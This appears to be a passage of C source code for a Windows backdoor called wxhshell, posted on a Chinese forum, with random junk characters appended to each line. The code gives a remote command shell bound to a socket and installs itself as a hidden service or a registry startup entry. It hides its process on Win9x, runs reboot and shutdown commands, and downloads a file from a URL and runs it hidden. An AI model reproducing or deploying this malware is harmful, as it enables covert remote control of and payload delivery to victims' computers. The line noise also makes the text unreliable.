    switch(cmd[0]) { "\Zsr6y  
  4nN%5c~=  
  // 帮助 9r+]V=  
  case '?': { 3<88j&9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KnaQhZ  
    break; }*4XwUM e  
  } D'$ki[{,  
  // 安装 vSb$gl5H  
  case 'i': { !iN=py  
    if(Install()) d OQU#5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U7bbJ>U_|  
    else m}54yo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7q&Ru|T33  
    break; .z^ePZ|mV  
    } zYvf}L&]h  
  // 卸载 8$xd;+`y'  
  case 'r': { mJ2>#j;5f  
    if(Uninstall()) Y;O\ >o[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "94e-Nx  
    else UA>UW!I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mj&q"G  
    break; j7IX"O%f\  
    } (C dx7v2Nh  
  // 显示 wxhshell 所在路径 $b,o3eC  
  case 'p': { dMK| l   
    char svExeFile[MAX_PATH]; JS]6jUB<B  
    strcpy(svExeFile,"\n\r"); /o Q^j'v  
      strcat(svExeFile,ExeFile); 9D#"Ey  
        send(wsh,svExeFile,strlen(svExeFile),0); V^Z"FwWk  
    break; 6 9_etv  
    } A.8{LY;  
  // 重启 hsr,a{B%$  
  case 'b': { LmE%`qNg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2Dgulx5kGZ  
    if(Boot(REBOOT)) tgCEz%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); se(ZiyHp  
    else { P~HzN C  
    closesocket(wsh); Q(=} PF  
    ExitThread(0); h; ?=:(  
    } rtd&WkU rD  
    break; d:cs8f4>  
    } 2+y<&[A8U  
  // 关机 ZV=O oL t,  
  case 'd': { E%@,n9T~"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7D PKKvQ  
    if(Boot(SHUTDOWN)) ,Dd )=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6c>cq\~E  
    else { SIQ7oxS4  
    closesocket(wsh); q$6fb)2I]e  
    ExitThread(0); sOQF_X(.x  
    } YC+}H3 3  
    break; cy T,tN  
    } Eh/B[u7T[  
  // 获取shell kcGs2Y_*&  
  case 's': { )!M %clm.  
    CmdShell(wsh); \ <b-I  
    closesocket(wsh); }i0(^"SoXZ  
    ExitThread(0); >={?H?C  
    break; s$Z zS2d  
  } xXkP(^ Y  
  // 退出 VUAW/  
  case 'x': { 8@ y@}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O75^(keW  
    CloseIt(wsh); "5:^aC]  
    break; b{q-o <Q  
    } b|F4E{{D^  
  // 离开 *Y'nDv6_P  
  case 'q': { H <7r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  ntK#7(U'  
    closesocket(wsh); 0wL-Ak#v  
    WSACleanup(); 6^_:N1 @  
    exit(1); T:k-`t0":N  
    break; /<ODP6Yy;  
        } 3Run.Gv\  
  } V/xGk9L~  
  } eFJ .)Z  
*q**,_?;  
  // 提示信息  |e49F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u By[x 0  
} \[u7y. b  
  } =M39I&N  
[l"|x75-  
  return; 2 |]pD  
} )\oLUuL`;  
g+'=#NS}  
// shell模块句柄 ai|d`:;  
int CmdShell(SOCKET sock) D2<(V,h9  
{ #2AKO/  
STARTUPINFO si; XL SYE   
ZeroMemory(&si,sizeof(si)); .&Tcds  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N<XS-XB,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v',%   
PROCESS_INFORMATION ProcessInfo; R<wPO-dX  
char cmdline[]="cmd"; BCUn[4Gp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /~=W3lhY  
  return 0; [H"\<"1o  
} .%Pt[VQ  
5MU-Eu|*>  
// 自身启动模式 dZ]['y%  
int StartFromService(void) e0rh~@E  
{ Qy< ~{6V  
typedef struct j'xk [bM  
{ F<R+]M:fa  
  DWORD ExitStatus; fSR+~Vy  
  DWORD PebBaseAddress; x$p_mWC  
  DWORD AffinityMask; M`m-@z  
  DWORD BasePriority; DNYJR]>  
  ULONG UniqueProcessId; 2GRL`.1  
  ULONG InheritedFromUniqueProcessId; MLVrL r t  
}   PROCESS_BASIC_INFORMATION; 1dsMmD[O  
$Sg5xkV,a  
PROCNTQSIP NtQueryInformationProcess; E(%_aFx>/  
9:[L WT&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6d%V=1^F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [22>)1<(  
_c:}i\8R  
  HANDLE             hProcess; G%Dhj)2}  
  PROCESS_BASIC_INFORMATION pbi; W.67};',  
A!xx#+M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @B e7"Fm  
  if(NULL == hInst ) return 0; Obj?,O  
=H8 LBM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }fqz8'E9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3y9R1/!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I;u1mywd  
.A6i?iROe  
  if (!NtQueryInformationProcess) return 0; fm u;Pb]r  
a8Va3Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o'#ow(X  
  if(!hProcess) return 0; A.[~}ywH  
%t.L;G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cZVVJUF  
+c&oF,=}!P  
  CloseHandle(hProcess); ?^f=7e8]  
gjbSB6[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vZ0K1UTEXY  
if(hProcess==NULL) return 0; <r`^iR)%  
JSf \ApX  
HMODULE hMod; B:?MMXB  
char procName[255]; ; fOkR+  
unsigned long cbNeeded; N A`qC.K   
3$TU2-x;g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0 UbY0sYo  
p]lZ4#3  
  CloseHandle(hProcess); o$Jop"To  
,\]`X7r  
if(strstr(procName,"services")) return 1; // 以服务启动 WciL zx/  
)fGIe rS  
  return 0; // 注册表启动 3 *g>kRMJ  
} [p:mja.6y  
!Au@\/}  
// 主模块 7k<6oM1  
int StartWxhshell(LPSTR lpCmdLine) s+omCr|H;A  
{ \jHHj\LLr.  
  SOCKET wsl; +xL*`fn  
BOOL val=TRUE; Qo%IZw$l  
  int port=0; /[<1D|f%  
  struct sockaddr_in door; F4R0A6HL  
"kdmqvTHK0  
  if(wscfg.ws_autoins) Install(); O5v)}4  
' 5F3,/r  
port=atoi(lpCmdLine); KFuP gp  
^F="'/Pq[  
if(port<=0) port=wscfg.ws_port; !XtZI3Xu  
&[Zg;r    
  WSADATA data; ;"R1>tw3)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K6BP~@H_D  
}M0GPpv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g]mR;T3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rYn)E=FG/  
  door.sin_family = AF_INET; 8mh@C6U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .,l4pA9v  
  door.sin_port = htons(port); exP:lO_0n  
4S 7#B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S A\_U::T  
closesocket(wsl); azCod1aL{  
return 1; m|by^40A(  
} pl4:>4l/  
Tu[I84  
  if(listen(wsl,2) == INVALID_SOCKET) { C" 2K U*  
closesocket(wsl); g^mnYg5  
return 1; SJai<>k h  
} ~!iZn  
  Wxhshell(wsl); Acl?w }Y  
  WSACleanup(); <aR sogu"P  
x o{y9VS  
return 0; s~tZN  
s9\N{ar#  
} Hgk@I;  
UNO KK_  
// 以NT服务方式启动 ;x|LB>.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  &e%eIz  
{ a<W.}0ZY  
DWORD   status = 0; #*~3gMI{=  
  DWORD   specificError = 0xfffffff; =3H*%  
W>'KE:!sp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K @h9 4Ni6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .`TDpi9OB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mr[+\ 5  
  serviceStatus.dwWin32ExitCode     = 0; v"v-c!k  
  serviceStatus.dwServiceSpecificExitCode = 0; v~AD7k2{8  
  serviceStatus.dwCheckPoint       = 0; kBlk^=h<:w  
  serviceStatus.dwWaitHint       = 0; K2@],E?e%|  
C(J+tbk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Evy_I+l  
  if (hServiceStatusHandle==0) return; 'u84d=*l  
2,^ U8/  
status = GetLastError(); i[O{ M`Z%  
  if (status!=NO_ERROR) }9*NEU) o  
{ (/^dyG|X'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3;<Vv*a"Dm  
    serviceStatus.dwCheckPoint       = 0; I*`;1+`  
    serviceStatus.dwWaitHint       = 0; %c-T Gr,  
    serviceStatus.dwWin32ExitCode     = status; `#c36  
    serviceStatus.dwServiceSpecificExitCode = specificError; y8Oz4|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T$&vk#qr  
    return; KfkU_0R+~v  
  } vo!QJ  
9 .3?$(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6Q~(ibKx  
  serviceStatus.dwCheckPoint       = 0; KGP*G BZr  
  serviceStatus.dwWaitHint       = 0; s*9lYk0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T/nG\WZbZn  
} ^o-)y"GJ  
~LU$ no^  
// 处理NT服务事件,比如:启动、停止 !S}d?8I6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MY>*F[~ 2  
{ ~gA^tc3G  
switch(fdwControl) W6!o=()  
{ 4V7=VZ, @3  
case SERVICE_CONTROL_STOP: iw=~j  
  serviceStatus.dwWin32ExitCode = 0; l<8+>W`_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -Crm#Ib~  
  serviceStatus.dwCheckPoint   = 0; `s|^  
  serviceStatus.dwWaitHint     = 0; ~(P\'H&(h  
  { EHF dQ0gIa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0o]T6  
  } ,: Z7P@  
  return; z:)z]6  
case SERVICE_CONTROL_PAUSE: =DsFR9IB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ohlCuH 3  
  break; xDO1gnH%  
case SERVICE_CONTROL_CONTINUE: w%uM=YmuT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m2>$)\-;  
  break; )>r sX)  
case SERVICE_CONTROL_INTERROGATE: )tp;2rJ/  
  break; t+IrQf,P[  
}; W@p27Tiq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dwbt^{N ^  
} /kc @ELl  
fb_q2p} G  
// 标准应用程序主函数 #p7_\+&5s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c-`izn]  
{ |TQa=  
!JnxNIr&i|  
// 获取操作系统版本 ewOe A|  
OsIsNt=GetOsVer(); \o<&s{ 6L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B"3uuk8  
0fAo&B  
  // 从命令行安装 [{-5  
  if(strpbrk(lpCmdLine,"iI")) Install(); wCw_aXqq  
^<`uyY))Q  
  // 下载执行文件 5]F4.sa  
if(wscfg.ws_downexe) { HzZ.q2Zz%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kB]?95>Wx  
  WinExec(wscfg.ws_filenam,SW_HIDE); yGE)EBH  
} :S=!]la0h  
%~EOq\&  
if(!OsIsNt) { ~n{lu'SIX2  
// 如果时win9x,隐藏进程并且设置为注册表启动 6e4A| <  
HideProc(); A(T=  
StartWxhshell(lpCmdLine); !~!\=etm  
} U*cWNn:."  
else  E-L>.tD  
  if(StartFromService()) KF}_|~~T  
  // 以服务方式启动 ?, oE_H  
  StartServiceCtrlDispatcher(DispatchTable); jUCDf-_ m  
else evro]&N{  
  // 普通方式启动 iXD=_^^o .  
  StartWxhshell(lpCmdLine); M|IgG:a;T  
@q<d^]po  
return 0; ds:&{~7L<T  
}
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只看该作者 1 发表于: 2006-10-10
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